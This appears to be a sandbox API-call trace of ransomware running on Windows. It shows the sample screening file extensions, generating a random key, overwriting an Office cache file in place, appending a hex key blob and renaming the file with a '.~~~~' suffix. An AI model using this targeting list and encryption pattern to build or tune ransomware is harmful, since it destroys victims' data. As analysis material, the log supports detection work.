	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".ACCDB") returned 0x0
	[0067.340] lstrlenW (lpString=".fdb") returned 4
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".fdb") returned 0x0
	[0067.340] lstrlenW (lpString=".bak") returned 4
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".bak") returned 0x0
	[0067.340] lstrlenW (lpString=".myd") returned 4
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".myd") returned 0x0
	[0067.340] lstrlenW (lpString=".DTXS") returned 5
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".DTXS") returned 0x0
	[0067.340] lstrlenW (lpString=".ckp") returned 4
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".ckp") returned 0x0
	[0067.340] lstrlenW (lpString=".dbt") returned 4
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".dbt") returned 0x0
	[0067.340] lstrlenW (lpString=".db") returned 3
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".db") returned 0x0
	[0067.340] lstrlenW (lpString=".TXT") returned 4
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".TXT") returned 0x0
	[0067.340] lstrlenW (lpString=".MDF") returned 4
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".MDF") returned 0x0
	[0067.340] lstrlenW (lpString=".bdb") returned 4
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".bdb") returned 0x0
	[0067.340] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0067.340] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0067.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d7e8
	[0067.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0067.341] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0067.342] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0067.342] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0067.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0067.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0067.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0067.342] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18733258768) returned 1
	[0067.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9529e1b0, dwHighDateTime=0x1d60e1e)) 
	[0067.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0067.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0067.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0067.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de38
	[0067.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0067.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de38 | out: hHeap=0x300000) returned 1
	[0067.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0067.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0067.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0067.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0067.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0067.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0067.343] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0067.343] GetLastError () returned 0x0
	[0067.344] SetLastError (dwErrCode=0x0) 
	[0067.344] GetLastError () returned 0x0
	[0067.344] SetLastError (dwErrCode=0x0) 
	[0067.344] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0067.344] GetLastError () returned 0x0
	[0067.344] SetLastError (dwErrCode=0x0) 
	[0067.344] GetLastError () returned 0x0
	[0067.344] SetLastError (dwErrCode=0x0) 
	[0067.344] GetLastError () returned 0x0
	[0067.344] SetLastError (dwErrCode=0x0) 
	[0067.344] GetLastError () returned 0x0
	[0067.344] SetLastError (dwErrCode=0x0) 
	[0067.344] GetLastError () returned 0x0
	[0067.344] SetLastError (dwErrCode=0x0) 
	[0067.344] GetLastError () returned 0x0
	[0067.344] SetLastError (dwErrCode=0x0) 
	[0067.344] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.345] SetLastError (dwErrCode=0x0) 
	[0067.345] GetLastError () returned 0x0
	[0067.346] SetLastError (dwErrCode=0x0) 
	[0067.346] GetLastError () returned 0x0
	[0067.346] SetLastError (dwErrCode=0x0) 
	[0067.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0067.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c04d0
	[0067.346] ReadFile (in: hFile=0x128, lpBuffer=0x3c04d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0067.351] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0067.351] WriteFile (in: hFile=0x128, lpBuffer=0x3c04d0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0067.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04d0 | out: hHeap=0x300000) returned 1
	[0067.353] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0067.353] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0067.356] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0067.356] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0067.356] CloseHandle (hObject=0x128) returned 1
	[0067.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0067.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.~~~~")) returned 1
	[0067.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0067.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0067.701] GetLastError () returned 0x0
	[0067.701] SetLastError (dwErrCode=0x0) 
	[0067.702] GetLastError () returned 0x0
	[0067.702] SetLastError (dwErrCode=0x0) 
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0067.702] RtlWakeConditionVariable () returned 0x365f70
	[0067.702] GetCurrentThreadId () returned 0x9cc
	[0067.702] GetCurrentThreadId () returned 0x9cc
	[0067.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa9f8 | out: hHeap=0x300000) returned 1
	[0067.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de70 | out: hHeap=0x300000) returned 1
	[0067.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0067.702] lstrlenW (lpString=".scr") returned 4
	[0067.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".scr") returned 0x0
	[0067.702] lstrlenW (lpString=".cmd") returned 4
	[0067.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".cmd") returned 0x0
	[0067.702] lstrlenW (lpString=".dll") returned 4
	[0067.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dll") returned 0x0
	[0067.702] lstrlenW (lpString=".bat") returned 4
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".bat") returned 0x0
	[0067.703] lstrlenW (lpString=".cpl") returned 4
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".cpl") returned 0x0
	[0067.703] lstrlenW (lpString=".sys") returned 4
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".sys") returned 0x0
	[0067.703] lstrlenW (lpString=".msc") returned 4
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".msc") returned 0x0
	[0067.703] lstrlenW (lpString=".com") returned 4
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".com") returned 0x0
	[0067.703] lstrlenW (lpString=".lnk") returned 4
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".lnk") returned 0x0
	[0067.703] lstrlenW (lpString=".msp") returned 4
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".msp") returned 0x0
	[0067.703] lstrlenW (lpString=".pif") returned 4
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".pif") returned 0x0
	[0067.703] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.703] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0067.703] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0067.704] lstrlenW (lpString=".sqb") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".sqb") returned 0x0
	[0067.704] lstrlenW (lpString=".ost") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".ost") returned 0x0
	[0067.704] lstrlenW (lpString=".txt") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".txt") returned 0x0
	[0067.704] lstrlenW (lpString=".mdt") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".mdt") returned 0x0
	[0067.704] lstrlenW (lpString=".BDB") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".BDB") returned 0x0
	[0067.704] lstrlenW (lpString=".eql") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".eql") returned 0x0
	[0067.704] lstrlenW (lpString=".DBF") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DBF") returned 0x0
	[0067.704] lstrlenW (lpString=".EQL") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".EQL") returned 0x0
	[0067.704] lstrlenW (lpString=".FDB") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".FDB") returned 0x0
	[0067.704] lstrlenW (lpString=".EDB") returned 4
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".EDB") returned 0x0
	[0067.704] lstrlenW (lpString=".DACPAC") returned 7
	[0067.704] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DACPAC") returned 0x0
	[0067.705] lstrlenW (lpString=".VHD") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".VHD") returned 0x0
	[0067.705] lstrlenW (lpString=".DBV") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DBV") returned 0x0
	[0067.705] lstrlenW (lpString=".dacpac") returned 7
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dacpac") returned 0x0
	[0067.705] lstrlenW (lpString=".sdf") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".sdf") returned 0x0
	[0067.705] lstrlenW (lpString=".accdb") returned 6
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".accdb") returned 0x0
	[0067.705] lstrlenW (lpString=".DBX") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DBX") returned 0x0
	[0067.705] lstrlenW (lpString=".MDT") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".MDT") returned 0x0
	[0067.705] lstrlenW (lpString=".SQB") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".SQB") returned 0x0
	[0067.705] lstrlenW (lpString=".vhd") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".vhd") returned 0x0
	[0067.705] lstrlenW (lpString=".bac") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".bac") returned 0x0
	[0067.705] lstrlenW (lpString=".mdf") returned 4
	[0067.705] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".mdf") returned 0x0
	[0067.705] lstrlenW (lpString=".BAK") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".BAK") returned 0x0
	[0067.706] lstrlenW (lpString=".BAC") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".BAC") returned 0x0
	[0067.706] lstrlenW (lpString=".dbs") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dbs") returned 0x0
	[0067.706] lstrlenW (lpString=".vhdx") returned 5
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".vhdx") returned 0x0
	[0067.706] lstrlenW (lpString=".NDF") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".NDF") returned 0x0
	[0067.706] lstrlenW (lpString=".dat") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dat") returned 0x0
	[0067.706] lstrlenW (lpString=".DBS") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DBS") returned 0x0
	[0067.706] lstrlenW (lpString=".CKP") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".CKP") returned 0x0
	[0067.706] lstrlenW (lpString=".edb") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".edb") returned 0x0
	[0067.706] lstrlenW (lpString=".PST") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".PST") returned 0x0
	[0067.706] lstrlenW (lpString=".dbf") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dbf") returned 0x0
	[0067.706] lstrlenW (lpString=".SQL") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".SQL") returned 0x0
	[0067.706] lstrlenW (lpString=".pst") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".pst") returned 0x0
	[0067.706] lstrlenW (lpString=".dbv") returned 4
	[0067.706] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dbv") returned 0x0
	[0067.707] lstrlenW (lpString=".SDF") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".SDF") returned 0x0
	[0067.707] lstrlenW (lpString=".dtxs") returned 5
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dtxs") returned 0x0
	[0067.707] lstrlenW (lpString=".db3") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".db3") returned 0x0
	[0067.707] lstrlenW (lpString=".OST") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".OST") returned 0x0
	[0067.707] lstrlenW (lpString=".dbx") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".dbx") returned 0x0
	[0067.707] lstrlenW (lpString=".DB3") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DB3") returned 0x0
	[0067.707] lstrlenW (lpString=".DAT") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DAT") returned 0x0
	[0067.707] lstrlenW (lpString=".VHDX") returned 5
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".VHDX") returned 0x0
	[0067.707] lstrlenW (lpString=".ndf") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".ndf") returned 0x0
	[0067.707] lstrlenW (lpString=".DB") returned 3
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DB") returned 0x0
	[0067.707] lstrlenW (lpString=".sql") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".sql") returned 0x0
	[0067.707] lstrlenW (lpString=".MYD") returned 4
	[0067.707] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".MYD") returned 0x0
	[0067.707] lstrlenW (lpString=".DBT") returned 4
	[0067.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml", lpSrch=".DBT") returned 0x0
	[0067.708] lstrlenW (lpString=".ACCDB") returned 6
